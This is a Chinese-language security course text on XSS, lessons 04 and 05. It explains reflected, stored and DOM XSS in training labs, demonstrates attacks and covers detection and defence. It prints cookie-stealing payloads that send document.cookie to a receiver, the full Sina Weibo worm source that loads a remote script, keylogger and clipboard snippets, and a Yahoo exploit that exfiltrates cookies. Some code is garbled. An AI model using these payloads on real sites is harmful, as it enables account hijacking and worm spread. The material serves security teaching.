04 XSS:劫持身份的“惯犯”

从本讲开始,我将带你进入 Web 漏洞攻防的世界,学习一些常见的 Web 漏洞的原理、利用与防御。

在这些常见的Web 漏洞中,XSS(Cross-site Script,跨站脚本)漏洞无疑是最多见的。根据 HackerOne 漏洞奖励平台发布的 The 2020 Hacker Report,XSS 漏洞类型占所有报告漏洞中的 23%,排名第一。因此,在“模块二:漏洞攻防案例”,我特意以 XSS 作为讲解的第一个漏洞类型。

图 1:HackerOne 平台上报告的漏洞类型占比

起源

最早的 XSS 漏洞可追溯到 1999 年末,微软安全工程师发现一些网站遭到攻击,网站被插入了一些恶意脚本和图像标签。随后,微软对此类漏洞进行研究分析,并在 2000 年 1 月,正式使用“cross-site scripting”这个名称,然后逐渐被业界采用,留传至今。

跨站脚本(Cross-site Script),按理应该简称为 CSS,但为了与层叠样式表(CSS)区分开,特意改为 XSS。

XSS 漏洞,通常指的是网站对用户输入数据未做有效过滤,攻击者可以将恶意脚本注入网站页面中,达到执行恶意代码的目的。攻击者只需要诱使受害者打开特定的网址,就可以在受害者的浏览器中执行被注入的恶意代码,从而窃取用户身份,执行一些敏感操作,或是进行其他的危害行为。

危害:绝不仅仅只是弹框

一些听过 XSS的同学,可能仅停留在弹框的印象里;我曾在修复此类漏洞时,只是简单地针对alert 函数做了下过滤。这都是对 XSS 攻防原理理解不够造成的误解。其实,只要你想象力够丰富,它的危害是可以造成很大的。

图 2:常用于验证 XSS 漏洞的弹框

比如 2005 年 10 月 4 日诞生的世界上第一个 XSS 蠕虫:Samy(作者的名字)。Samy 利用网络社交媒体 MySpace的XSS 漏洞传播,受害者会自动将 Samy 本人添加为关注者,并在受害者的用户页面显示一行字串“but most of all,samy is my hero”,并再次插入恶意代码,谁访问受害者的网页谁就会被感染。

Samy 感染的用户呈指数倍增长,最终,超过 100 万用户被感染,作者也因事态发展失控而入狱,并被禁止 3 年内接触计算机,外加 90 小时的社区服务。

图 3:受 Samy 蠕虫攻击后,作者粉丝暴涨

图 4:受 Samy 蠕虫攻击后,受害者的用户页面被篡改

Samy 蠕虫是现实世界中 XSS 攻击的经典案例,除了蠕虫攻击外还有很多其他危害:盗号、钓鱼欺诈、篡改页面、刷广告流量、内网扫描、网页挂马、挖矿、键盘监听、窃取用户隐私等等。

如果能充分利用好业务场景下的功能,再结合一定技术和想象力,XSS 所造成的危害绝不仅仅只是弹框。如果你是开发,在修复 XSS 漏洞过程中,也别单纯想着怎么防止弹框。更为全面的防御方案,我会在下一讲《05|XSS:漏洞的检测与防御》中介绍。

XSS 漏洞的分类

通常 XSS 分为存储型和反射型,但还有一种比较特殊的 DOM 型 XSS,它本身属于反射型 XSS,不过介绍的时候需要单独来讲。因此,我就按 3 种类型划分:反射型、存储型、DOM 型。

反射型 XSS

我们首先来看反射型 XSS。反射型 XSS 又被称为非持久型跨站脚本,它是将攻击代码放在 URL 参数中,而不是存储到服务器,因此需要诱使用户点击才能触发攻击。

以 DVWA 中的反射型 XSS 题目为例,通过向 name 参数输入以下代码即可触发漏洞:

<script>alert(1)</script>

图5:利用 XSS 漏洞执行注入的JS代码

在 Chrome 浏览器中,用“检查”功能看下网页源码,可以发现我们输入的代码被解析并执行了:

图6:被解析执行的注入的代码

其漏洞代码也非常简单。从 GET 参数 name 获取用户输入后,未经过滤就直接调用 echo 函数输出到页面,最终导致 XSS 的产生。漏洞代码如下:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

有人认为反射型 XSS 的危害不如存储型 XSS,但我认为没有什么区别。这里的挑战主要是URL是否包含攻击代码。

存储型 XSS

第二种 XSS 漏洞是存储型 XSS,它又被称为持久型跨站脚本。攻击者将恶意代码存储到服务器上,只要诱使受害者访问被插入恶意代码的页面即可触发。存储型 XSS 经常出现在一些可以发表评论的地方,如帖子、博客。

在 DVWA 靶场中就有一个存储型 XSS 案例,它是个留言本的功能,支持用户发表评论,然后将用户输入的数据直接存储到数据库,并输出到页面上。这个过程中因为未做任何的过滤,导致了 XSS 漏洞的产生。

图 7:DVWA 靶场中的存储型 XSS

存储型 XSS 的特点就是不需要在诱使用户访问的URL中包含攻击代码,因为它已经存储到了服务器中,只需要让用户访问包含输出攻击代码的页面即可,漏洞代码如下:

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = mysql_real_escape_string( $message );// Sanitize name input$name = mysql_real_escape_string( $name );// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}
?>

从 POST 参数中获取 mtxMessage 和 txtName 参数后,虽然经过一定过滤才插入到数据库中,但是中括号不会被过滤,在其他地方将其输出到页面后就会被解析(如图 5)。我们在 Message 中输入“<script>alert(1)</script>”,点击“Sign Guestbook”提交,即可触发漏洞。

图 8:触发漏洞弹框

利用 Chrome 浏览器的“检查”功能查看网页源码,可以发现刚才输入消息中的<script>标签被解析了:

图 9:script 标签被解析

正是它导致弹框的出现。

DOM 型 XSS

最后是 DOM 型 XSS 漏洞,它是基于文档对象模型(Document Object Model,DOM,用于将 Web 页面与脚本语言链接起来的标准编程接口)的一种漏洞,它不经过服务端,而是通过 URL 传入参数去触发,因此也属于反射型 XSS。

由于客户端的 JavaScript 可以访问浏览器页面中的 DOM 对象,因此它能够决定如何处理当前页面的 URL,比如获取 URL 中的相关数据进行处理,然后动态更新到页面上。这导致 DOM 型 XSS 的漏洞代码常位于网页的 JavaScript 代码中。

以 Pikachu 漏洞练习平台中的“DOM 型 XSS”题目为例:它只有一个文本输入框,外加一个“click me!”的按钮。我们先看下网页源码,看点击按钮后的回调函数。

图 10:定位按钮的回调函数

可以看到,点击后会执行一个叫 domxss 的函数。在源码内搜索下该函数。

图 11:domxss 函数

domxss 函数就 2 行代码,第一行代码先通过 document.getElementById("text").value 获取 ID 为“text”的元素内容。其实这就是输入框的内容,输入框的 ID就叫“text”。

图12:id 为 text 的输入框

第二行代码是将获取的输入框内容传递给 ID 为“dom”的元素,并将其写入 innerHTML,也就是输出到 HTML 页面中,整个过程对用户输入数据都未做任何过滤。直接输入 test 看下:

图13:用户数据的输出位置

可以看到,输入框的内容输出到了 dom 元素中,作为 a 标签的链接地址。我们直接利用 JavaScript 伪协议来构造链接触发 JS 代码的执行,输入以下代码,然后点击“what do you see?”链接后即可触发漏洞:

javascript:alert(1)

图 14:利用 javascript 伪协议触发漏洞

导致 DOM 型 XSS 的相关 DOM 操作函数有很多,这里我只是举了比较常见的 innerHTML 属性设置导致的漏洞为例子,其他的还有像 eval、document.write 等可触发漏洞的数据输出位置。

网上曾有人整理了一份关于 DOM XSS 的数据污染源(Source,即用户输入数据)和漏洞触发点(Sink)的列表(虽然不够全面,但可以作为参考),如下图所示:

图 15:DOM XSS Sources & Sinks

若数据从 Source 传到 Sink 过程中,未做任何过滤,就有可能存在 DOM XSS。这个思路也常作为动静态检测 DOM XSS 的重要思路,具体会在下一讲中介绍。

攻击 XSS 漏洞

这里开始我想给你介绍一些关于 XSS 漏洞利用的方法,避免你停留在 XSS 只能弹框的思想层面。

针对 XSS 漏洞最为常见的两种攻击方式就是窃取 Cookie 劫持他人的会话,以及前面介绍过的蠕虫攻击。因此,这里会重点介绍这两者的相关技术,同时也涉及一些其他的攻击思路,最后会引出一些自动化利用工具的使用。

窃取 Cookie

我们首先来看“窃取 Cookie”。

Cookie 是由服务器提供的存储在客户端的数据,允许 JavaScript 访问,常用于识别用户身份和保存会话等功能。如果 Web 应用程序存在 XSS 漏洞,那么攻击者通过注入恶意 JavaScript 脚本就可以窃取到 Cookie,进而以用户身份执行恶意操作。

通过 document.cookie 就可以访问到 Cookie。以百度网站为例,在检查工具中的 Console 标签页输入 document.cookie 就可以看到当前百度域名下的 Cookie 值。

图 16:百度 Cookie

当一个网站存在 XSS 时,我们就可以通过执行 document.cookie 获取当前受害者的 cookie,前提是要先诱使受害者访问特定的 URL。

以 Pikachu 中的反射型 XSS(Get) 题目为例,其触发链接为:

http://localhost/vul/xss/xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit

访问后的效果:

图 17:Pikachu 中的反射型 XSS(Get) 利用

我们试试看能否读取 cookie:

http://localhost/vul/xss/xss_reflected_get.php?message=<script>alert(document.cookie)</script>&submit=submit

可以访问到 cookie:

图 18:成功通过 JS 读取 Cookie

接下来,我们就可以在自己控制的服务器写个接收 cookie 的接口,比如 cookie.php。刚好 Pikachu 靶场自带这样的功能,我以它为例,并加了关键代码的注释:

<?phpinclude_once '../inc/config.inc.php';include_once '../inc/mysql.inc.php';$link=connect();  // 连接数据库
<span class="hljs-comment">//这个是获取 cookie 的 api 页面</span>
<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($_GET[<span class="hljs-string">'cookie'</span>])){  <span class="hljs-comment">// 通过 GET 参数 cookie 来接收数据</span>$time=date(<span class="hljs-string">'Y-m-d g:i:s'</span>);$ipaddress=getenv (<span class="hljs-string">'REMOTE_ADDR'</span>);$cookie=$_GET[<span class="hljs-string">'cookie'</span>];$referer=$_SERVER[<span class="hljs-string">'HTTP_REFERER'</span>];$useragent=$_SERVER[<span class="hljs-string">'HTTP_USER_AGENT'</span>];$query=<span class="hljs-string">"insert cookies(time,ipaddress,cookie,referer,useragent) values('$time','$ipaddress','$cookie','$referer','$useragent')"</span>;$result=mysqli_query($link, $query); <span class="hljs-comment">// 将窃取的数据存入数据库</span>
}
header(<span class="hljs-string">"Location:http://192.168.1.4/pikachu/index.php"</span>);<span class="hljs-comment">//重定向到一个可信的网站,主要起到隐藏作用,避免被发现</span><span class="hljs-meta">?&gt;</span>

这个 cookie.php 通过 GET 参数 cookie 来接收数据,那我们向它传递 document.cookie 的值就可以窃取想要的 cookie 了。基于此,我们重新构造 URL。

注意要做 URL 编码,否则“+”连接符会被吃掉,导致无法窃取 cookie

http://localhost/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2Flocalhost%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

我们打开 http://localhost/pkxss/pkxss_login.php 上 XSS 后台(第一次使用时按提示点安装,然后用默认帐密登录:admin/123456),可以看到已经成功窃取到Cookie:

图 19:窃取到 Cookie

网上也有很多开源的 XSS 平台用来接收 Cookie,你在GitHub 搜索就可以找到很多,大多数可以直接通过 Docker 快速安装。

图 20:各种开源的 XSS 利用平台

获取 Cookie 后,我们就可以本地修改 Cookie 来登录受害者的账号(除非刚好窃取的 Cookie 不包含用户登录信息,比如未登录状态下访问的攻击链接),可以使用 Chrome 插件 EditThisCookie 来设置窃取的 Cookie:

图 21:EditThisCookie

还有另一款早期业界比较常用的工具,叫“桂林老兵 Cookie 欺骗工具”,以及在《01 | 武器库:常用的渗透测试工具》中介绍的 Burp Suite,它们均支持修改 Cookie。

蠕虫攻击

前面我介绍了 Samy 蠕虫,但并没有谈到XSS 蠕虫的实现技术。XSS 蠕虫的实现正是得益于Ajax 技术的出现,而后者正是 Web2.0 的标志性技术。

Ajax(Asynchronous JavaScript and XML,异步 JavaScript 和 XML)是指一种创建交互式网页应用的网页开发技术。这个概念比较抽象,具体讲就是在我们浏览网页,做一些操作时,可以减少浏览器的一些页面重绘操作,避免出现页面抖动、闪现之类的不适体验。这也正是 Web2.0 带来的改变。

Ajax 中的核心技术就是 XMLHttpRequest,它允许 JavaScript 脚本与服务器进行通信,在不刷新页面的情况下,向服务器发送请求或是接收服务器的响应数据。

下面我以之前影响比较大的新浪微博 XSS 蠕虫攻击事件为例,介绍 Ajax 技术在 XSS 蠕虫中的应用,从攻击代码来详细讲解。

图 22 :新浪微博上感染 XSS 蠕虫的用户

2011年 6 月 28 日,新浪微博遭受 XSS 蠕虫的攻击,很多受害者被迫发布带有攻击链接的私信和微博。这些消息都带有一定的诱惑性,其他用户点击后也会此影响。受害者在感染后,都会自动关注一位名为“hellosamy”的微博用户(估计是效仿 Samy 蠕虫),然后向关注受害者的用户发送含有同样链接地址的私信,并发布含攻击链接的微博。得益于这种传播方式,在16 分钟内病毒就感染了33000 个用户。

我们来分析下新浪微博的 XSS 蠕虫代码:

// 创建 XMLHttp 对象用于收发请求
function createXHR(){ return window.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){xmlHttp = createXHR();xmlHttp.open("GET",url,false); //获取 AppKey 不采用异步执行,等待请求返回 xmlHttp.send();result = xmlHttp.responseText;id_arr = '';// 正则匹配出 AppKey 数组,包含每个被收听用户的 uid id = result.match(/namecard=\"true\" title=\"[^\"]*/g);https://beefproject.com/for(i=0;i<id.length;i++){sum = id[i].toString().split('"')[3];  //重新提取整理id_arr += sum + '||';}return id_arr;
}
function random_msg(){
<span class="hljs-comment">// 使用短地址服务,构造 XSS 传播连接,隐藏自己的恶意 js 脚本,</span>
<span class="hljs-comment">// 这里正是 XSS 漏洞的触发位置</span>

//http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=upd
    link = ’ http://163.fm/PxZHoxn?id=' + new Date().getTime();;
// 话题列表 
    var msgs = [
        ‘郭美美事件的一些未注意到的细节:’,
        ‘建党大业中穿帮的地方:’,
        ‘让女人心动的 100 句诗歌:’,
        ‘3D 肉团团高清普通话版种子:’,
        ‘这是传说中的神仙眷侣啊:’,
        ‘惊爆!范冰冰艳照真流出了:’,
        ‘杨幂被爆多次被潜规则:’,
        ‘傻仔拿锤子去抢银行:’,
        ‘可以监听别人手机的软件:’,
        ‘个税起征点有望提到 4000:’];

<span class="hljs-comment">//随机选取话题,加上之前的传播连接作为微博内容&nbsp;</span>

var msg = msgs[Math.floor(Math.random()msgs.length)] + link;
    msg = encodeURIComponent(msg); //对内容进行 Url 编码
    return msg;
}
// 利用 Ajax 发送 POST 请求
function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open(“POST”,url,sync);
    xmlHttp.setRequestHeader(“Accept”,"text/html,application/xhtml+xml,application/xml;q=0.9,
/*;q=0.8");
    xmlHttp.setRequestHeader(“Content-Type”,“application/x-www-form-urlencoded; charset=UTF-8”);
    xmlHttp.send(data);
}
// 发表微博,话题随机
function publish(){
    url = ‘http://weibo.com/mblog/publish.php?rnd=’ + new Date().getTime();
    data = ‘content=’ + random_msg() + ‘&pic=&styleid=2&retcode=’; //使用 random_msg 生成随机话题
    post(url,data,true);
}
// 自动关注用户
function follow(){
    url = ‘http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=’ + new Date().getTime();
// 使用当前页面存储的CONFIG.CONFIG.CONFIG.uid 构造自动关注数据包
    data = ‘uid=’ + 2201270010 + ‘&fromuid=’ + CONFIG.CONFIG.CONFIG.uid + ‘&refer_sort=profile&atnId=profile’;
    post(url,data,true);
}
// 发送私信
function message(){
    url = ‘http://weibo.com/’ + CONFIG.CONFIG.CONFIG.uid + ‘/follow’; //构造用户关注用户列表页 Url
    ids = getappkey(url); //获取被关注用户的 Appkey 数组
    id = ids.split(‘||’); //分割出每个被关注用户的 Appkey
    for(i=0;i<id.length - 1 & i<5;i++){
        //构造私信发送 Url
        msgurl = ‘http://weibo.com/message/addmsg.php?rnd=’ + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = ‘content=’ + msg + ‘&name=’ + user + ‘&retcode=’;
        post(msgurl,data,false); //通过 XmlHttpRequest 发送请求
    }
}
function main(){
    try{
        publish(); //模拟发表微博
    }
    catch(e){}
    try{
        follow(); //模拟关注用户
    }
    catch(e){}
    try{
        message(); //模拟发送私信
    }
    catch(e){}
}
try{
    //在当前 body 尾部插入存放在远端的 Xss 恶意脚本
   x=“g=document.createElement(‘script’);g.src=‘http://www.2kt.cn/images/t.js’;document.body.appendChild(g)”;window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout(‘location=“http://weibo.com/pub/topic”;’,5000);
//等待 5 秒跳转到微话题页面

我总结了该 XSS 蠕虫的攻击流程:

  1. 利用 XSS 漏洞插入恶意 JS 代码;

  2. 利用 XMLHttpRequest 发送请求去发表微博、关注用户、获取关注者列表并向其发送私信;

  3. 微博消息和私信都包含有恶意攻击链接,等于实现了攻击代码的自我复制和传播。

由此可见,一个完整的 XSS 蠕虫常常具备如下特征:

  • 目标网站存在 XSS 漏洞;

  • 攻击代码的自我复制和传播,其传播方式依赖于业务场景,更多是在社交功能上,比如博客、私信、微博、评论。

声明:在互联网上传播 XSS 蠕虫属于违法行为,即使是处于合法的渗透测试任务,也该严格控制传播的可能性,否则出现失控,仍需承担法律责任

其他攻击方法

在 XSS 漏洞攻击场景下,凡是 JavaScript 能够实现功能,你都可以自由发挥,实现不同的攻击方法。

比如键盘记录:

keys = ""
document.onkeypress = function(){keys += String.fromCharCode(window.event.keyCode);
}

比如在 Chrome 浏览器中使用代码截获剪贴板内容:

document.addEventListener('paste', function (evt) {clipdata = evt.clipboardData || window.clipboardData;console.log(clipdata.getData('text/plain'));
});

图 23:截获剪贴内容

比如钓鱼欺骗用户输入账号、密码:

图 24:利用 XSS 进行钓鱼欺骗

方法还有很多,因篇幅有限,这里不再赘述,你可以参考下面讲到的 XSS 攻击框架 BeEF,它在工具上集成了很多 XSS 攻击方式,可直接使用。

BeEF

这里我要介绍一款非常著名的 XSS 攻击框架 BeEF,它支持 Docker 快速安装,可以从 GitHub 下载然后编译安装:

$ git clone https://github.com/beefproject/beef
$ cd beef
$ sudo docker build -t beef .
$ sudo docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 --name beef beef

运行成功后,你会得到一个 hook.js 地址,这是利用 XSS 漏洞插入目标网站的攻击脚本地址。

图 25:返回 hook.js 和管理界面地址

我本地得到地址是:http://127.0.0.1:3000/hook.js(实际攻击时,可将 127.0.0.1 替换成你的远程服务器地址),那我就可以在漏洞页面插入如下代码进行利用:

<script>http://127.0.0.1:3000/hook.js</script>

受害者访问后,若利用成功的话,在 BeEF 管理页面(此处为 http://127.0.0.1:3000/ui/panel)就可以看到目标上线了。

图 26:BeEF 漏洞利用框架

刚运行的时候,BeEF 会生成随机密码,账号为 beef,比如:

Beef credentials: beef:aaGivbkemeYNtCYRFrlyQN75lcmMYMm5

用上面的账号密码登录即可;你也可以修改 config.yaml 中的账号密码再运行。

BeEF 上面的利用功能实在是太多了,你可以把每个功能都试用一下,相信你试用完之后会对 XSS 的危害和利用手法有新的认识。

总结

最后,我对这一讲的内容做个总结。

首先,我介绍了 XSS 的起源以及危害,然后讲解了反射型、存储型和 DOM 型 XSS 的原理,并从代码层面分析了漏洞成因。随后我介绍了各种常见的 XSS 攻击手法,结合实例分析了 Cookie 窃取和蠕虫攻击的具体实现,帮助你进一步了解 XSS 的危害。

BeEF 是一款优秀的 XSS 攻击框架,包含有非常丰富的 XSS 漏洞利用功能,如果你想深入学习 XSS 的攻击手段,从 BeEF 入手是不错的选择。BeEF 已经在 GitHub 开源,主要是采用 JavaScript 和 Ruby 开发,你可以重点研究下漏洞利用中的 JavaScript 代码,即 hook.js 文件。

如果你有什么好的 BeEF 利用技巧,或者是其他优秀的 XSS 利用工具,欢迎你在留言区留言推荐。

下一讲,我将介绍如何挖掘三大类型的 XSS 漏洞以及如何防御,到时见~

05 XSS:漏洞的检测与防御

上一讲我介绍了反射型 XSS、存储型 XSS 和 DOM 型 XSS 的原理,以及常见的漏洞攻击手法。这一讲我们就来学习下如何挖掘 XSS 漏洞,又如何防御 XSS 漏洞。

目前 Flash 已经被各大浏览器禁用,Adobe 官方也不再更新 Flash 相关产品。 HTML5 技术已经基本替换掉 Flash,因此不再介绍 Flash 相关的漏洞。

XSS 漏洞挖掘

XSS 漏洞挖掘的方法可以按有无源码的情况分为黑盒测试和白盒测试。

黑盒测试主要是通过发送特意构造攻击字符串来验证漏洞,比如 <script> alert(1)</script>。请求后看是否会弹框,若会则代表存在 XSS,反之则不存在。

白盒测试是通过分析源代码来检测 XSS 漏洞,根据不同的编程语言采取不同的词法、语法分析方式,然后通过污点分析(追踪用户的输入数据是否达到特定的漏洞触发函数)的思路来检测漏洞。

我们来具体了解一下这两种方法。

黑盒测试

对于测试人员,多数情况下是没有目标网站的源码,对这种无源码的网站测试,我们称为黑盒测试。下面我会从人工测试和工具自动测试两方面来讲解一些常用的黑盒测试技术。

人工测试

人工测试的主要思路就是在一切可输入数据的地方输入“XSS payload”(测试用例),这些地方包括所有的 GET、POST、Cookie、HTTP 头。提交数据之后,看网站的输出是否解析了前面输入的 XSS payload。

我常用的 XSS payload 有以下几个。搜索“XSS cheat sheet”,也可以找到很多这种测试用例。

  • Cross-site scripting (XSS) cheat sheet

  • XSS Filter Evasion Cheat Sheet

  • HTML5 Security Cheatsheet

平时测试时,我喜欢先将上面的 XSS payload 整理放在一个 txt 文件中,然后用数字区分每个用例,比如:

<XSS id=x tabindex=1 onactivate=alert(1)></XSS>
<body onafterprint=alert(2)>
<XSS onafterscriptexecute=alert(3)><script>1</script>
<body onbeforeprint=alert(4)>
<svg><animate onbegin=alert(5) attributeName=x dur=1s>
……

然后将其一次性全复制进输入框中测试,看提交后有没有弹框,若弹框了,通过对应数字就能知道是哪个测试用例被成功执行了。有时输入长度有限制,就只能一个个测试,然后根据响应内容做一些调整。

上面这种测试方法相对暴力一些,有时网站有自己的一些数据处理逻辑(过滤、编码、输入类型判断等等),这时就需要一些探测性的输入,比如输入以下字符串:

"'<script>;&#,/=(12345)

在返回页面的源码中搜索 12345 的输出位置,以及上面这些特殊字符的过滤情况。

以 DVWA 靶场中的 XSS(Reflected)题目为例。在 DVWA Security 中安全等级为 High,如下图所示:

图 1:设置 DVWA 安全等级为“High”

先在题目中输入前面那串测试字符串去探测下:

图 2:输入测试字符串

在网页中右击菜单,选择“检查”查看源码,直接搜索“12345”,可以看到数据的输出位置:

图 3:查看源码定位输出位置

可以发现,输出位置在<pre>标签内,并且过滤掉了“<script”(不包括引号)。尝试输入以下字符串看是否会有转机:

"'<scr<scriptipt>;&#,/=(12345)

结果发现还是没用:

图 4:更改测试字符串

既然没法用<script>标签,我们就换个其他的标签试下。如果你不熟悉测试用例,可以回头翻看下前面介绍的 XSS cheat sheet。这里我改用了<img>标签(下面的数字一样都是为了方便搜索源码):

<img>12345

图 5:测试< img >标签

可以看到,<img>被解析了。前面我们已经测试过,各种特殊字符也没过滤。这样我们就可以构造完整的测试用例试下:

<img src=a onerror=alert(1)>

成功弹出提示框:

图 6:成功利用< img>标签执行任意 JS 代码

返回数据如下,输入数据都被完整地解析执行。

图 7:被解析的代码

这里我总结一下人工测试思路:日常收集一些 XSS cheat sheet,然后编号整理出来,用于日常测试用例;你可以先一次性批量输入测试,如果无效,再输入一些特殊字符看过滤情况,根据返回数据作相应的调整测试。

除了一些比较深的操作入口,并且涉及一些前置的操作条件(比如验证码、开启特定设置之类的),不然多数情况下,整个过程其实可以通过自动化工具实现。

工具自动化测试

在《01 | 武器库:常用的渗透测试工具》中我介绍了一些常用的渗透测试工具,里面有支持 XSS 扫描的工具,比如 AWVS、Xray、Goby 这类综合型扫描器。

这里我推荐一款专门针对 XSS 漏洞扫描的开源工具,XSStrike,它在业内也是有一定名气的。由于开源,非常有利于自己添加 XSS payload,或者做二次开发。

XSStrike 支持很多功能,比如 DOM XSS 扫描(基于正则扫描敏感函数,存在一定误报)、WAF 检测与绕过、爬虫、HTML&JS 动态解析引擎验证。常用的测试命令如下:

爬虫整个网站进行 XSS 扫描:
python3 XSStrike.py -u "http://testphp.vulnweb.com/" --crawl
针对单个 URL 进行扫描:
python3 XSStrike.py -u "http://localhost/vulnerabilities/XSS_r/?name=a"

以 AWVS 的在线靶场为例,它可以检测搜索框存在的 XSS 漏洞:

图 8:XSStrike

XSStrike 功能比较全面,但也会存在误报,而且告警结果展示的体验不是很好。

因此,这里再推荐另一款工具,叫 NoXSS。它的特点就是批量扫描速度快,而且告警展示效果比 XSStrike 好,但漏洞检测能力不如 XSStrike,你可以把这两款搭配着使用。NoXSS 的使用方法也很简单,常用命令如下:

python start.py --url="http://localhost/vulnerabilities/XSS_r/?name=a"

图 9:NoXSS

DOM XSS 的扫描相比常规 XSS 要难一些,主要是针对 JS 代码的分析,如果只是简单的正则匹配,就很容易误报漏报。所以针对 DOM XSS 的检测,除了常规的 XSS payload 暴力测试、正则匹配检测代码外,还可以基于以下几种常见方法来检测 XSS。

  • Headless Chrome:利用无界面 Chrome 浏览器来检测 XSS,参考《基于 Chrome-headless 的 XSS 检测》,这是目前主流的动态检测方法。

  • QtWebKit:参考《基于 QtWebKit 的 DOM XSS 检测技术》,QtWebKit 作者已停止维护。

  • PhantomJS:已停止维护。它提供一套基于 WebKit 的服务器端 JavaScript API,可以在无浏览器支持的情况下实现 Web 浏览器功能的支持,例如 DOM 处理、JavaScript、CSS 选择器、JSON、Canvas 和可缩放矢量图形 SVG 等功能。

这些方法可以实现动态解析 JS,以验证特意构造的 XSS payload 是否被执行,从而准确地判断是否存在 XSS 漏洞。

这种动态检测 DOM XSS 的工具,个人特别推荐 Dominator。它是基于 Firefox 改造的,在一些关键的输入输出函数添加 Hook,如果发现有用户可控数据输出到一些 sink 漏洞触发函数上就会告警。它的特点是发现率高,虽然也有不少误报。此前我用它发现了不少国内知名网站的 DOM XSS,有些不同域名的网站引用到同一个漏洞 JS 文件,导致一个漏洞影响一大批网站。

以之前一些 Yahoo DOM XSS 为例,当你用 Dominator 访问了存在漏洞的页面后,可以看到其输出的告警内容如下:

图 10:用 Dominator 检测 DOM XSS

提示 windows.name 输入数据被直接传递给 eval 函数,也就是说如果你能控制 windows.name 的值,就可以实现任意 JS 代码的执行。利用起来也非常简单,我们可以看下漏洞发现者 Abysssec 公司发布的利用代码:

<html>
<script>
window.name=' new Image().src="http://abysssec.com/log/log.php?cookie="+encodeURI(document.cookie);
setTimeout(\"location.href = \'http:\/\/www.yahoo.com\';\",10);';
location.href="http://adspecs.yahoo.com/index.php";
</script>
</html>

利用思路就是直接设置 window.name 参数,插入打算执行的 JS 代码,然后用 location.href 跳转到漏洞页面去触发。这类漏洞我在网易的一些网站上也发现了不少,也是用 Dominator 挖掘到的,所以个人比较推荐。

白盒测试

如果我们有网站源码,就可以直接通过分析源码来挖掘漏洞。网站开发语言非常多, JavaScript、PHP、Python、Go、C/C++等等都可以用来开发网站的前端和后端。不同的语言有不同的特性,在源码审计时需要采取不同的检测点,但有一个共同的思路,那就是污点分析的检测思路

前面我已经简单地提到污点分析原理就是检测用户可控的输入数据,污点也就是用户可控的输入数据。然后我们去追踪污点的传播过程,检测是否传递给危险的输出函数。对于 XSS 就是能够控制页面内容或者执行 JS 的输出函数有 echo、eval等。

有时我们也会反着来:先查看一些危险的输出函数,再回溯它的参数传递,判断是否有未经过滤的用户输入数据,若有就代表可能存在漏洞。其他漏洞类型,以及其他编程语言的代码审计方式都是相通的,只是有不同的 sinks 和过滤函数需要作为检测点。

图 11:污点分析流程

以 PHP 源码审计为例,常见的污点 source 有以下这些:

关于 XSS 常见的污点触发位置 sink 有以下这些:

我在审计代码时,习惯使用 VSCode 和 Sublime,你可以根据自己的喜好选择一款合适的代码阅读软件,然后批量搜索文件中的 sink 位置,再往上回溯追踪是否有引入 source 污染数据;若引入了,有没有做好过滤转义等安全工作。

关于 DOM XSS 的审计,主要是针对 JS 代码的审计,关于它的 srouces & sinks,我已在《04|XSS:劫持身份的惯犯》的图 14 中给出,此处不再赘述;你也可以按照污点分析的思路去做 JS 代码审计。

主流的自动化源码审计工具有 RIPS、Coverity、CheckMarx 等等,都是一些商业软件。近两年也有一些优秀的开源项目贡献,比如 Kunlun-M,目前作者仍在更新维护中。如果你或者你所在的公司没有条件采购商业软件,这也是一个不错的选择。

防御 XSS 攻击

以前在面试一些同学时,问他们怎么修复 XSS,都会说做好过滤,但具体怎么做过滤,很多都答不上来。有的会简单说下做 HTML 实体化编码,比如用 htmlspecialchars 函数,但其实这是错误的。XSS 的防御必须根据不同的触发位置采取不同的防御方案,下面我们来详细了解一下。

输入检查

在测试 XSS 时,经常需要输入一些特殊字符,所以在一开始直接做好输入检查有利于减少攻击的可能性。我在协助业务修复漏洞的时候,经常推荐的方法就是白名单限制,比如参数是个整数值,那直接限制死即可,若不符合就抛异常。不要单纯只想着过滤替换特殊字符,这很容易就被绕过了。

如果白名单范围不好确定,我就会采用黑名单的方式,把常用的 XSS payload 特殊字符或字符串做检测,比如<script>、javascript:、<、>、'、"、&、#。但是黑名单这种方式,有时结合业务场景,以及浏览器特性,就有可能找到绕过方法。

还有一定不要单纯只在客户端上做过滤,还要结合服务端做限制。若只是客户端上做过滤,那么抓包后修改数据重发就绕过了。

输出检查

跨站漏洞的触发关键点就在于输出的位置,所以对输出进行检查尤为重要。

以前百度 Hi 空间有个 XSS 漏洞,官方后来虽然修复了, 但发现者的百度 Hi 空间仍存在 XSS 弹框。这正是因为官方的修复方案中只做了输入检查,没有过输出检查,导致以前曾被利用过的 XSS payload 仍然有效。如果在官方修复前,那个 XSS 漏洞已经被恶意利用了,那即使已经通过输入检查方法修复了,被插入的恶意代码仍会存在,这可以认为是修复不彻底的表现。

有时网站需要支持富文本(用户自定义的 HTML 代码),比如为方便用户而保留的<a>链接标签,此时采用白名单的方式,直接限制允许输入的标签、字符是最佳方案。

